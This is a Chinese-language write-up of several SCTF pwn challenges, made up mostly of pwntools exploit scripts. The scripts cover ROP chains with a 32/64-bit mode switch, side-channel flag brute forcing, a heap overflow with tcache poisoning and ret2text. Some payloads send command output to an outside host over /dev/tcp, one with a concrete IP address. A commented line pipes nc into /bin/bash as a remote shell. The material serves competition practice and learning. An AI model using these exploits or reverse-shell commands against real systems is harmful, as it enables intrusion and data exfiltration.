SCTF pwn 方向部分題解
一顆小胡椒2022-01-10 16:31:14
dataleak
用”\或者/都可以跳過2個\x00，但是每次用”\會拷貝4個字節到buf中，導致最后的3字節數據無法泄露，所以用/\配合垃圾數據填充來控制泄露字符串。
exp:
#!python#coding:utf-8
from pwn import *import subprocess, sys, osfrom time import sleep
sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './cJSON_PWN'ip = '124.70.202.226'port = 2101remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'LIBC_VERSION = ''HAS_LD = FalseHAS_DEBUG = False
context(os='linux', arch='amd64')context.log_level = 'debug'
def run(local = 1): LD_LIBRARY_PATH = './lib/' LD = LD_LIBRARY_PATH+'ld.so.6' global elf global p if local == 1: elf = ELF(elf_path, checksec = False) if LIBC_VERSION: if HAS_LD: p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH}) else: p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH}) else: p = process(elf_path) else: p = remote(ip, port)
run(0)payload = ' '*0xc + '"\\'p.send(payload)
payload = 'a'*8 + ' '*4 + '"\\'p.send(payload)part1 = p.recv(11)
payload = 'a'*5 + ' '*7 + '/*'p.send(payload)
payload = ' '*12 + '/*'p.send(payload)part2 = p.recv(11)
complete = part1 + part2sa('data', complete)
p.interactive()
gadget
有棧溢出，但是只能使用調用號為0，5，37的系統調用，5是32位下的open，所以利用思路是先heaven’s gate切換到32位來open flag，再回到64位read flag，最后找一個gadget用來側信道獲取flag。
主要難點在于找gadget，有4個比較重要的gadget。首先是0x40A756用于設置rdx，但需要zf位為1才能正常執行，因此用0x40106D來設置zf。然后是0x40172A用來棧遷移，最后用0x408F72側信道方式拿到flag。
exp:
from pwn import *
read_addr=0x401170retfq=0x4011ECint80=0x4011F3syscall=0x408865flag=0x40D480pop_rax=0x401001pop_rbp=0x401102pop_rbx_24=0x403072pop_rcx=0x4092D0pop_rdi_8=0x401734pop_rsi_16=0x401732pop_rdx_48=0x40A756flag_addr=0x40D260lea_rsp=0x40172Aset2z=0x40106Dcmpa=0x408F72loop=0x40A765
bit32=p64(0x23)bit64=p32(0x33)
fmap=[ord('_')]fmap+=[i for i in range(ord('a'),ord('z')+1)]fmap+=[i for i in range(ord('0'),ord('9')+1)]fmap+=[i for i in range(ord('A'),ord('Z')+1)]fmap+=[0,ord('@'),ord('-'),ord('{'),ord('}'),ord('?'),ord('!')]f=''c=len(f)if_ok=Falsewhile(not if_ok): caddr=flag+c sign=0 for guess in fmap: #sh=process('./gadget') sh=remote('121.37.135.138',2102) payload="a"*0x38+p64(pop_rdi_8)+p64(flag_addr)+p64(0)+p64(read_addr)+p64(set2z)+p64(pop_rdx_48)+p64(0)*7 payload+=p64(pop_rbp)+p64(flag_addr+8-0x28+0x20)+p64(lea_rsp) #print(hex(len(payload))) sh.send(payload.ljust(0xc0,'a'))
payload2="flag\x00\x00\x00\x00" payload2+=p64(retfq)+p64(pop_rbx_24)+bit32+p32(flag_addr)+p32(0)*3+p32(pop_rcx)+p32(0)+p32(pop_rax)+p32(5)+p32(int80) payload2+=p32(retfq)+p32(pop_rdi_8)+bit64 payload2+=p64(flag_addr+len(payload2)+24)+p64(0)+p64(read_addr) #print(hex(len(payload2))) sh.send(payload2.ljust(0xc0,'\x00'))
payload3=p64(pop_rdi_8)+p64(3)+p64(0)+p64(pop_rsi_16)+p64(flag)+p64(0)*2+p64(pop_rax)+p64(0)+p64(syscall) payload3+=p64(pop_rdi_8)+p64(caddr+1)+p64(0)+p64(read_addr) payload3+=p64(pop_rsi_16)+p64(0)+p64(caddr-0x38)+p64(0)+p64(pop_rax)+p64(guess)+p64(cmpa) #print(hex(len(payload3))) sh.send(payload3.ljust(0xc0,'\x00'))
payload4='\x00'*0xf+p64(0) sh.send(payload4) try: sh.send('ok') sh.recv(timeout=0.5) if(not guess): if_ok=True sign=1 break f+=chr(guess) print(f) sh.close() sign=1 break except: sh.close() if(not sign): f+='#' c=c+1print(f)sh.interactive()
Christmas_song
難點在于看懂slang語言的語法，主要在源碼com目錄下parser.y和scanner.l這兩個文件中。可知定義變量語法為gift 變量名 is xxx，xxx可以為整數也可以為字符串，其中is等同于運算符‘=’，為字符串時變量實際上是一個堆塊地址。調用函數的語法為reindeer 函數名 delivering gift 參數1 參數2 參數3 brings back gift 返回值; ，其中返回值可省略。逆向可知Dancer和Dasher兩個函數分別可以打開和讀取flag，之后用相當于strncmp的Prancer函數比較讀入的flag側信道獲取flag即可。
exp:
from pwn import *import string
code="""gift a is "/home/ctf/flag";gift b is 0;gift c is 0;gift d is 64;gift len is {};gift test is "abcde";gift flag is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";gift guess is "{}";
reindeer Dancer delivering gift a b c brings back gift fd;reindeer Dasher delivering gift fd flag d;reindeer Prancer delivering gift flag guess len brings back gift e;gift f is test+e;reindeer Dancer delivering gift f b c;"""
flag=""if_ok=Falsedic = '_'+string.ascii_letters + string.digits + "}"while(not if_ok): for x in dic: sh=remote("124.71.144.133",2144) flag=flag+x c=len(flag) c_code=code.format(c,flag) sh.sendlineafter("(EOF to finish):",c_code+"EOF") sh.recvuntil('error') res=sh.recvline() #print(res) if(res[-6:-1]!="abcde"): flag=flag[:-1] sh.close() else: sh.close() print(flag) if(x=='}'): if_ok=True break
Christmas_bash
遠程爆破出sleep的偏移為0xed850，但搜不到對應的libc，最后才發現版本為2.34。根據sleep算出system，pop rdi和environ的值，用他們來定義變量，再定義一個存儲vm_call_lambda返回時rsp的變量stack。然后調用一個不存在的函數，其返回值為一個堆上的地址，調試得到它與之前定義的變量地址的偏移。然后將environ上的棧地址拷貝到stack處，再根據偏移得到vm_call_lambda返回時的rsp。最后把各變量值用memcpy拷貝到rsp處構造出rop鏈。
code:
code="""gift libcbase is sleep-972880;gift environ is libcbase+2232000;gift stack is sleep-16;gift len is 8;gift cmd is "bash -c '/home/ctf/getflag > /dev/tcp/ip/7777'";gift cmdaddr is cmd+1; reindeer haha delivering gift len len len brings back gift addr;gift stackaddr is addr+5848; reindeer Vixen delivering gift stackaddr environ len;gift stack is stack-1184;gift poprdi is libcbase+190149;gift system is libcbase+346848;gift ret is poprdi+1; gift cmdaddraddr is addr+6104;gift systemaddr is addr+6488;gift poprdiaddr is addr+6456;gift retaddr is addr+6520; reindeer Vixen delivering gift stack retaddr len;gift stacka is stack+8; reindeer Vixen delivering gift stacka poprdiaddr len;gift stacka is stacka+8; reindeer Vixen delivering gift stacka cmdaddraddr len;gift stacka is stacka+8; reindeer Vixen delivering gift stacka systemaddr len;gift stacka is stacka+8;"""
Christmas_Wishes
\"字符截斷parserstring堆長度統計邏輯，然后之后可以拷貝很長的字符串，造成堆溢出，鍵同名free，tcacheattack
exp：
#!python#coding:utf-8
from pwn import *import subprocess, sys, osfrom time import sleep
def chose(idx): sla('Chose', str(idx))def add(name = '', value = ''): global payload payload += '"{}":"{}",'.format(name, value)def package(content): if len(content) & 1: print('eeee') ans = '' for i in range(len(content)/2): ans += '\\u' + content[i*2:i*2+2].encode('hex') return ans
libc_addr = 0x7fd19f744000loadlibc()libc.address = libc_addr# print(hex(libc.sym['__free_hook']))
shell = 'bash -c \'/This_is_your_gift > /dev/tcp/ip/7777\''# shell = 'nc ip 7777|/bin/bash|nc ip 9999'
global payloadpayload = ''# for i in range(10):# add('a'*0x18 + str(i), 'a'*0x20)add('a'*0x18 + 'a1', 'a'*0x20)add('a'*0x18 + 'a2', 'a'*0x20)add('a'*0x18 + 'a3', 'a'*0x20)add('a'*0x18 + 'a4', 'a'*0x20)add('a5', shell)add('a'*0x18 + 'a1', 'b'*0x10)add('a'*0x18 + 'a3', 'b'*0x10)add('a'*0x20 + '\\"' + 'a'*0x6 + package(p64(0x31)) + package(p64(libc.sym['__free_hook'])), 'a'*0x20)add(package(p64(libc.sym['system'])), 'a'*0x10)add('a5', 'aa')payload = '{' + payload + '}'print(payload)with open('payload', 'w') as f: f.write(payload)
payload：{"aaaaaaaaaaaaaaaaaaaaaaaaa1":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa2":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa3":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa4":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","a5":"bash -c '/This_is_your_gift > /dev/tcp/49.232.202.102/7777'","aaaaaaaaaaaaaaaaaaaaaaaaa1":"bbbbbbbbbbbbbbbb","aaaaaaaaaaaaaaaaaaaaaaaaa3":"bbbbbbbbbbbbbbbb","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"aaaaaa\u3100\u0000\u0000\u0000\u705e\u909f\ud17f\u0000":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","\u50ce\u789f\ud17f\u0000":"aaaaaaaaaaaaaaaa","a5":"aa",}
Checkin_ret2text
自動化寫不出，半自動跑，先下載文件，然后151行pause前手動分析完對應參數
exp：
#!python#coding:utf-8
from pwn import *import subprocess, sys, osfrom time import sleepfrom hashlib import sha256import base64
sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)
elf_path = './x2.elf'ip = '123.60.82.85'port = 1447remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'LIBC_VERSION = ''HAS_LD = FalseHAS_DEBUG = False
context(os='linux', arch='amd64')context.log_level = 'debug'
def run(local = 1): LD_LIBRARY_PATH = './lib/' LD = LD_LIBRARY_PATH+'ld.so.6' global elf global p if local == 1: elf = ELF(elf_path, checksec = False) if LIBC_VERSION: if HAS_LD: p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH}) else: p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH}) else: p = process(elf_path) else: p = remote(ip, port)def debug(cmdstr=''): if HAS_DEBUG and LIBC_VERSION: DEBUG_PATH = '/opt/patchelf/libc-'+LIBC_VERSION+'/x64/usr/lib/debug/lib/x86_64-linux-gnu/' cmd='source /opt/patchelf/loadsym.py' cmd+='loadsym '+DEBUG_PATH+'libc-'+LIBC_VERSION+'.so' cmdstr=cmd+cmdstr gdb.attach(p, cmdstr) pause()def loadlibc(filename = remote_libc_path): global libc libc = ELF(filename, checksec = False)def one_gadget(filename = remote_libc_path): return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))def str2int(s, info = '', offset = 0): if type(s) == int: s = p.recv(s) ret = u64(s.ljust(8, '\x00')) - offset success('%s ==> 0x%x'%(info, ret)) return ret
def chose(idx): sla('Chose', str(idx))def add(idx, size, content = ''): chose(1) sla('Index', str(idx)) sla('Size', str(size)) sa('Content', content)def edit(idx, content): chose(2) sla('Index', str(idx)) sa('Content', content)def free(idx): chose(3) sla('Index', str(idx))def show(idx): chose(4) sla('Index', str(idx))def hash_digit(af, hash_hex): print(af, hash_hex) ch = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' for i in ch: for j in ch: for k in ch: for h in ch: if sha256(i + j + k + h + af).hexdigest() == hash_hex: return i + j + k + hdef get_file(filename): p.recvuntil('sha256(xxxx + ') hash = p.recvuntil(')')[:-1] p.recvuntil('== ') hash_hex = p.recvuntil('')[:-2] ans = hash_digit(hash, hash_hex) print(ans) sla('give me xxxx:', ans) base64_e = p.recvuntil('==end==')[:-8] with open(filename, 'wb') as f: global elf elf = base64.b64decode(base64_e) f.write(elf)def analysis(begin_addr): begin_addr += 0x18 ranks = []
def u32(content): return int(content[::-1].encode('hex'), 16) def insert(vec): for i, v in enumerate(ranks): if vec[0] < v[0]: ranks.insert(i, vec) return ranks.append(vec) def get_a_string(addr): ans = '' while elf[addr] != '\0': ans += elf[addr] addr += 1 return ans
addr = begin_addr n = ord(elf[addr+1]) addr += 13 for i in range(n): rk = u32(elf[addr+3: addr+7]) va = u32(elf[addr+9]) if va == 0x88: if elf[addr+7: addr+9] == '\xf7\xd0': va = 0xff addr -= 1 if va == 0x2b: if elf[addr+7: addr+9] == '\x88\x85': va = 0 addr -= 3 # print(hex(rk)) addr += 0x10 insert((rk, va)) # for i in ranks: # print(hex(i[0]), hex(i[1])) print(hex(addr)) addr += 0xa string_addr = addr + u32(elf[addr: addr+4]) + 4 # print(hex(string_addr)) string = get_a_string(string_addr) # print(string) ans = '' for i, v in enumerate(ranks): ans += chr(ord(string[i])^v[1]) return ans
run(0)get_file('x2.elf')
pause()import datasdata = datas.data.split('')[-2::-1]for i, v in enumerate(data): tmp = v.split(' ') if len(tmp) == 1 or len(tmp) == 2: if tmp[0] == 'EOF': data[i] = 'a' * int(tmp[1], 16) else: data[i] = analysis(int(tmp[0], 16)) else: data[i] = ['0'] * int(tmp[0]) data[i][int(tmp[1])] = tmp[2]
print(data)
for i in data: if type(i) == str: sa(':', i) else: p.recvuntil(':') for j in i: p.send(j+' ')
backdoor = p64(0x401354) * 10payload = 'a'*datas.offset + backdoorp.sendline(payload)sleep(0.1)p.sendline('cat flag')p.interactive()
分析結果填入datas.py
data = '''8 0 31292dde6DA3E8 0 0C9266 0 0EOF 24''' offset = 0x0
然后跑就出了
一顆小胡椒
暫無描述